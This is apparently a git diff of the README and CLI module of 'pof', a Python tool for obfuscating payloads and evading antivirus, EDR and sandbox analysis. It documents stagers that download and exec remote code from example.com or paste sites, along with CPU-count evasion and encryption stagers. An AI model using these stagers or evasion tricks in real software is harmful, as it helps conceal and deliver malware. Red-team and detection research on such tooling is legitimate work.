TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
|
|
629
604
|
```
|
|
630
605
|
|
|
606
|
+
So we could call it like this:
|
|
607
|
+
|
|
608
|
+
```bash
|
|
609
|
+
python3 out.py TzyaoO...
|
|
610
|
+
```
|
|
611
|
+
|
|
631
612
|
#### QuineStager
|
|
632
613
|
|
|
633
614
|
```python
|
|
@@ -640,6 +621,24 @@ def quine():
|
|
|
640
621
|
exec(b64decode(esource))
|
|
641
622
|
```
|
|
642
623
|
|
|
624
|
+
This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
|
|
625
|
+
|
|
626
|
+
Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.
|
|
627
|
+
|
|
628
|
+
Example usage:
|
|
629
|
+
|
|
630
|
+
```bash
|
|
631
|
+
echo "print(quine())" | pof -f stager -k QuineStager > out.py
|
|
632
|
+
python3 out.py > out2.py
|
|
633
|
+
python3 out2.py > out3.py
|
|
634
|
+
diff out2.py out3.py
|
|
635
|
+
```
|
|
636
|
+
|
|
637
|
+
The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.
|
|
638
|
+
|
|
639
|
+
> [!NOTE]
|
|
640
|
+
> By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.
|
|
641
|
+
|
|
643
642
|
### Generators
|
|
644
643
|
|
|
645
644
|
Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
|
|
@@ -865,9 +864,13 @@ black .
|
|
|
865
864
|
ruff .
|
|
866
865
|
```
|
|
867
866
|
|
|
867
|
+
## Python 2
|
|
868
|
+
|
|
869
|
+
No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
|
|
870
|
+
|
|
868
871
|
## TODO
|
|
869
872
|
|
|
870
|
-
-
|
|
873
|
+
- Add option to prepend a shebang, and add ability to customize it
|
|
871
874
|
|
|
872
875
|
## License
|
|
873
876
|
|
|
@@ -45,6 +45,7 @@ pof will allow you to:
|
|
|
45
45
|
- do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques
|
|
46
46
|
- slow **analysis**: slow down human analysis of the payload
|
|
47
47
|
- enable **automation**: automate the whole process, to produce numerous variant of the payload
|
|
48
|
+
- be **cross-platform**: works on Linux, Windows, and macOS
|
|
48
49
|
- have **fun**: because it's always fun to see what's possible to do with Python
|
|
49
50
|
|
|
50
51
|
This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.
|
|
@@ -55,19 +56,9 @@ This project could also give you ideas to implement in other languages, such as
|
|
|
55
56
|
|
|
56
57
|
You could also use most of the stagers to stage payload that are not built in Python.
|
|
57
58
|
|
|
58
|
-
## Shortcomings
|
|
59
|
-
|
|
60
|
-
Any obfuscation techniques that add code complexity will make the code run slower. For most usage this won't have an impact, and no one is using Python for speed anyway (at least I hope).
|
|
61
|
-
|
|
62
|
-
Encoding, compression, encryption will slow the start of the programs, because it will first have to decode, de-compress, or decrypt it.
|
|
63
|
-
|
|
64
|
-
Strings, numbers, builtin, obfuscators will make the code run slower, because they will add complexity to many parts of it.
|
|
65
|
-
|
|
66
|
-
And finally the 'classical' techniques, names, definitions won't have an impact on the speed of the code, because they'll simply rename elements of the code.
|
|
67
|
-
|
|
68
59
|
## Install
|
|
69
60
|
|
|
70
|
-
There are
|
|
61
|
+
There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.
|
|
71
62
|
|
|
72
63
|
### 1. PIP
|
|
73
64
|
|
|
@@ -77,7 +68,7 @@ From [pypi](https://pypi.org/project/python-obfuscation-framework):
|
|
|
77
68
|
pip install python-obfuscation-framework
|
|
78
69
|
```
|
|
79
70
|
|
|
80
|
-
### 2.
|
|
71
|
+
### 2. Source
|
|
81
72
|
|
|
82
73
|
```bash
|
|
83
74
|
git clone https://github.com/deoktr/pof
|
|
@@ -98,43 +89,55 @@ docker build -t pof .
|
|
|
98
89
|
docker run --rm -it pof --help
|
|
99
90
|
```
|
|
100
91
|
|
|
101
|
-
Run inside Docker from a file.
|
|
92
|
+
Run inside Docker from a local file `in.py`:
|
|
102
93
|
|
|
103
94
|
```bash
|
|
104
|
-
docker run --rm -v $(pwd):/tmp -it pof
|
|
95
|
+
docker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py
|
|
105
96
|
```
|
|
106
97
|
|
|
107
|
-
|
|
98
|
+
### 4. Nix
|
|
108
99
|
|
|
109
|
-
|
|
100
|
+
From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):
|
|
110
101
|
|
|
111
102
|
```bash
|
|
112
|
-
|
|
103
|
+
nix shell github:onix-sec/nixsecpkgs#pof
|
|
113
104
|
```
|
|
114
105
|
|
|
115
|
-
|
|
106
|
+
## Usage
|
|
116
107
|
|
|
117
|
-
```
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
UserClassSlots=__builtins__.__dict__.__getitem__(_45802(''[::-1]).decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'ukf'[::-1]]))(__builtins__.__getattribute__('\u006f\u0072\u0064')(i)-(__name__.__eq__.__call__(__name__)+__name__.__eq__.__call__(__name__)+__name__.__eq__(__name__)))for i in CRT_ASSERT('c3VscXc=').decode()]))
|
|
121
|
-
UserClassSlots(CRT_ASSERT('').decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'parse_intermixed_argsu'.replace('parse_intermixed_args','fk')]))(__builtins__.__dict__.__getitem__(_45802('L}g}jVP{fhb9HQVa%2').decode().replace("".join([chr(ord(i)-3)for i in'GhiudjUhvxow']),'o'[::-1]))(i)-(__name__.__eq__.__call__(__name__)+globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'])[::-1]].__dict__["".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'Wuxsimple_stmt'.replace('simple_stmt','h')])]+(type(1)==type(1))))for i in'gourz#/r_pfK'[::-1].replace(_45802('W^i9}').decode(),CRT_ASSERT('aG9vcg==').decode())]))
|
|
122
|
-
```
|
|
108
|
+
```bash
|
|
109
|
+
# pipe input and output to stdout
|
|
110
|
+
echo "print('Hello, world')" | pof
|
|
123
111
|
|
|
124
|
-
|
|
112
|
+
# output to file
|
|
113
|
+
pof in.py -o out.py
|
|
125
114
|
|
|
126
|
-
|
|
115
|
+
# redirect to file
|
|
116
|
+
pof in.py > out.py
|
|
127
117
|
|
|
128
|
-
|
|
118
|
+
# pipe to python to run it
|
|
119
|
+
pof in.py | python
|
|
120
|
+
|
|
121
|
+
# obfuscator
|
|
129
122
|
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
|
|
130
|
-
```
|
|
131
123
|
|
|
132
|
-
|
|
124
|
+
# stager
|
|
125
|
+
pof in.py -o out.py -f stager -k PasteRsStager
|
|
133
126
|
|
|
134
|
-
|
|
135
|
-
pof
|
|
127
|
+
# evasion
|
|
128
|
+
pof in.py -o out.py -f evasion -k CPUCountEvasion
|
|
129
|
+
|
|
130
|
+
# evasion with custom params
|
|
131
|
+
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
|
|
132
|
+
|
|
133
|
+
# combine everything from the CLI
|
|
134
|
+
pof in.py -f obfuscator -k BuiltinsObfuscator |\
|
|
135
|
+
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
|
|
136
|
+
pof -f stager -k PasteRsStager > out.py
|
|
136
137
|
```
|
|
137
138
|
|
|
139
|
+
You can also use the Python API directly, you can find examples in the corresponding directory or bellow.
|
|
140
|
+
|
|
138
141
|
## Examples
|
|
139
142
|
|
|
140
143
|
These are examples of obfuscators of the script `print('Hello, world')`.
|
|
@@ -157,40 +160,24 @@ echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
|
|
|
157
160
|
|
|
158
161
|
#### StringsObfuscator
|
|
159
162
|
|
|
160
|
-
Reverse.
|
|
161
|
-
|
|
162
163
|
```python
|
|
164
|
+
# Reverse
|
|
163
165
|
print('dlrow ,olleH'[::-1])
|
|
164
|
-
```
|
|
165
|
-
|
|
166
|
-
Replace.
|
|
167
166
|
|
|
168
|
-
|
|
167
|
+
# Replace
|
|
169
168
|
rint('Helnelemd'.replace('nelem','lo, worl'))
|
|
170
|
-
```
|
|
171
169
|
|
|
172
|
-
Unicode
|
|
173
|
-
|
|
174
|
-
```python
|
|
170
|
+
# Unicode
|
|
175
171
|
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
|
|
176
|
-
```
|
|
177
|
-
|
|
178
|
-
Shift cipher.
|
|
179
172
|
|
|
180
|
-
|
|
173
|
+
# Shift cipher
|
|
181
174
|
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
|
|
182
|
-
```
|
|
183
175
|
|
|
184
|
-
Base 64 encoding
|
|
185
|
-
|
|
186
|
-
```python
|
|
176
|
+
# Base 64 encoding
|
|
187
177
|
from base64 import b64decode
|
|
188
178
|
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
|
|
189
|
-
```
|
|
190
|
-
|
|
191
|
-
Base 85.
|
|
192
179
|
|
|
193
|
-
|
|
180
|
+
# Base 85
|
|
194
181
|
from base64 import b85decode
|
|
195
182
|
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
|
|
196
183
|
```
|
|
@@ -199,33 +186,20 @@ print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
|
|
|
199
186
|
|
|
200
187
|
Source: `print(42)`
|
|
201
188
|
|
|
202
|
-
String.
|
|
203
|
-
|
|
204
189
|
```python
|
|
190
|
+
# String
|
|
205
191
|
print(int('42'))
|
|
206
|
-
```
|
|
207
192
|
|
|
208
|
-
Addition
|
|
209
|
-
|
|
210
|
-
```python
|
|
193
|
+
# Addition
|
|
211
194
|
print((int(35+7)))
|
|
212
|
-
```
|
|
213
|
-
|
|
214
|
-
Hex.
|
|
215
195
|
|
|
216
|
-
|
|
196
|
+
# Hex
|
|
217
197
|
print(int('0x2a',0))
|
|
218
|
-
```
|
|
219
198
|
|
|
220
|
-
Len
|
|
221
|
-
|
|
222
|
-
```python
|
|
199
|
+
# Len
|
|
223
200
|
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
|
|
224
|
-
```
|
|
225
201
|
|
|
226
|
-
Boolean
|
|
227
|
-
|
|
228
|
-
```python
|
|
202
|
+
# Boolean
|
|
229
203
|
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
|
|
230
204
|
```
|
|
231
205
|
|
|
@@ -253,17 +227,11 @@ Obfuscate builtins functions using one of the following methods.
|
|
|
253
227
|
|
|
254
228
|
```python
|
|
255
229
|
__builtins__.__getattribute__('print')('Hello, world')
|
|
256
|
-
```
|
|
257
230
|
|
|
258
|
-
```python
|
|
259
231
|
__builtins__.__dict__['print']('Hello, world')
|
|
260
|
-
```
|
|
261
232
|
|
|
262
|
-
```python
|
|
263
233
|
globals()['__builtins__'].__dict__['print']('Hello, world')
|
|
264
|
-
```
|
|
265
234
|
|
|
266
|
-
```python
|
|
267
235
|
__builtins__.__dict__.__getitem__('print')('Hello, world')
|
|
268
236
|
```
|
|
269
237
|
|
|
@@ -511,7 +479,7 @@ print(oct.__doc__[8])
|
|
|
511
479
|
|
|
512
480
|
```python
|
|
513
481
|
from urllib import request
|
|
514
|
-
exec(request.urlopen("
|
|
482
|
+
exec(request.urlopen("https://example.com/payload.py").read())
|
|
515
483
|
```
|
|
516
484
|
|
|
517
485
|
#### ImageStager
|
|
@@ -547,7 +515,14 @@ from urllib import request
|
|
|
547
515
|
exec(request.urlopen("https://pastebin.com/raw/...").read())
|
|
548
516
|
```
|
|
549
517
|
|
|
550
|
-
|
|
518
|
+
> [!NOTE]
|
|
519
|
+
> You'll need to add a pastebin API key:
|
|
520
|
+
>
|
|
521
|
+
> ```bash
|
|
522
|
+
> echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
|
|
523
|
+
> ```
|
|
524
|
+
|
|
525
|
+
The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
|
|
551
526
|
|
|
552
527
|
#### RC4Stager
|
|
553
528
|
|
|
@@ -598,6 +573,12 @@ For this example, the randomly generated key is:
|
|
|
598
573
|
TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
|
|
599
574
|
```
|
|
600
575
|
|
|
576
|
+
So we could call it like this:
|
|
577
|
+
|
|
578
|
+
```bash
|
|
579
|
+
python3 out.py TzyaoO...
|
|
580
|
+
```
|
|
581
|
+
|
|
601
582
|
#### QuineStager
|
|
602
583
|
|
|
603
584
|
```python
|
|
@@ -610,6 +591,24 @@ def quine():
|
|
|
610
591
|
exec(b64decode(esource))
|
|
611
592
|
```
|
|
612
593
|
|
|
594
|
+
This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
|
|
595
|
+
|
|
596
|
+
Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.
|
|
597
|
+
|
|
598
|
+
Example usage:
|
|
599
|
+
|
|
600
|
+
```bash
|
|
601
|
+
echo "print(quine())" | pof -f stager -k QuineStager > out.py
|
|
602
|
+
python3 out.py > out2.py
|
|
603
|
+
python3 out2.py > out3.py
|
|
604
|
+
diff out2.py out3.py
|
|
605
|
+
```
|
|
606
|
+
|
|
607
|
+
The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.
|
|
608
|
+
|
|
609
|
+
> [!NOTE]
|
|
610
|
+
> By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.
|
|
611
|
+
|
|
613
612
|
### Generators
|
|
614
613
|
|
|
615
614
|
Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
|
|
@@ -835,9 +834,13 @@ black .
|
|
|
835
834
|
ruff .
|
|
836
835
|
```
|
|
837
836
|
|
|
837
|
+
## Python 2
|
|
838
|
+
|
|
839
|
+
No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
|
|
840
|
+
|
|
838
841
|
## TODO
|
|
839
842
|
|
|
840
|
-
-
|
|
843
|
+
- Add option to prepend a shebang, and add ability to customize it
|
|
841
844
|
|
|
842
845
|
## License
|
|
843
846
|
|
|
@@ -18,7 +18,7 @@ class PofCliError(PofError):
|
|
|
18
18
|
|
|
19
19
|
|
|
20
20
|
class CLIObfuscator(Obfuscator):
|
|
21
|
-
def obfuscator(self, source, obfuscator, *args, **kwargs):
|
|
21
|
+
def obfuscator(self, source, obfuscator, *args, **kwargs) -> str:
|
|
22
22
|
"""Execute a single obfuscator."""
|
|
23
23
|
tokens = self._get_tokens(source)
|
|
24
24
|
|
|
@@ -38,7 +38,7 @@ class CLIObfuscator(Obfuscator):
|
|
|
38
38
|
tokens = globals()[obfuscator](*args, **kwargs).obfuscate_tokens(tokens)
|
|
39
39
|
return self._untokenize(tokens)
|
|
40
40
|
|
|
41
|
-
def stager(self, source, stager, *args, **kwargs):
|
|
41
|
+
def stager(self, source, stager, *args, **kwargs) -> str:
|
|
42
42
|
"""Execute a single stager."""
|
|
43
43
|
tokens = self._get_tokens(source)
|
|
44
44
|
|
|
@@ -58,7 +58,7 @@ class CLIObfuscator(Obfuscator):
|
|
|
58
58
|
tokens = globals()[stager](*args, **kwargs).generate_stager(tokens)
|
|
59
59
|
return self._untokenize(tokens)
|
|
60
60
|
|
|
61
|
-
def evasion(self, source, evasion, *args, **kwargs):
|
|
61
|
+
def evasion(self, source, evasion, *args, **kwargs) -> str:
|
|
62
62
|
"""Execute a single evasion method."""
|
|
63
63
|
tokens = self._get_tokens(source)
|
|
64
64
|
|
|
@@ -94,7 +94,7 @@ handler.setFormatter(formatter)
|
|
|
94
94
|
logging.basicConfig(level=logging.INFO, handlers=[handler])
|
|
95
95
|
|
|
96
96
|
|
|
97
|
-
def _handle(args):
|
|
97
|
+
def _handle(args) -> int:
|
|
98
98
|
if args.version:
|
|
99
99
|
print(__version__) # noqa: T201
|
|
100
100
|
return 0
|
|
@@ -115,11 +115,13 @@ def _handle(args):
|
|
|
115
115
|
|
|
116
116
|
logging.info(f"starting obfuscation of {args.input.name}")
|
|
117
117
|
source = args.input.read()
|
|
118
|
+
|
|
118
119
|
start = time.time()
|
|
119
120
|
|
|
120
121
|
out = CLIObfuscator().__getattribute__(args.function)(source, *a, **k)
|
|
121
122
|
|
|
122
123
|
end = time.time()
|
|
124
|
+
|
|
123
125
|
time_diff = round(end - start, 4)
|
|
124
126
|
logging.info(f"took: {time_diff}s")
|
|
125
127
|
args.output.write(out)
|
|
@@ -128,7 +130,7 @@ def _handle(args):
|
|
|
128
130
|
return 0
|
|
129
131
|
|
|
130
132
|
|
|
131
|
-
def _cli():
|
|
133
|
+
def _cli() -> int:
|
|
132
134
|
parser = argparse.ArgumentParser(
|
|
133
135
|
prog="obfuscate",
|
|
134
136
|
description="%(prog)s CLI tool to obfuscate Python source code.",
|
|
@@ -137,7 +139,7 @@ def _cli():
|
|
|
137
139
|
parser.add_argument(
|
|
138
140
|
"--raise-exceptions",
|
|
139
141
|
action="store_true",
|
|
140
|
-
help="
|
|
142
|
+
help="raise exceptions instead of just printing them",
|
|
141
143
|
)
|
|
142
144
|
parser.add_argument(
|
|
143
145
|
"input",
|
|
@@ -161,7 +163,7 @@ def _cli():
|
|
|
161
163
|
)
|
|
162
164
|
parser.add_argument(
|
|
163
165
|
"--logging",
|
|
164
|
-
help="logging level,
|
|
166
|
+
help="logging level, DEBUG, INFO, ERROR, CRITICAL",
|
|
165
167
|
default="INFO",
|
|
166
168
|
)
|
|
167
169
|
parser.add_argument(
|
|
@@ -179,7 +181,7 @@ def _cli():
|
|
|
179
181
|
logging.error(str(e)) # noqa: TRY400
|
|
180
182
|
if args.raise_exceptions:
|
|
181
183
|
raise
|
|
182
|
-
logging.debug("use `--raise-exceptions` to see full trace back
|
|
184
|
+
logging.debug("use `--raise-exceptions` to see full trace back")
|
|
183
185
|
return 1
|
|
184
186
|
|
|
185
187
|
|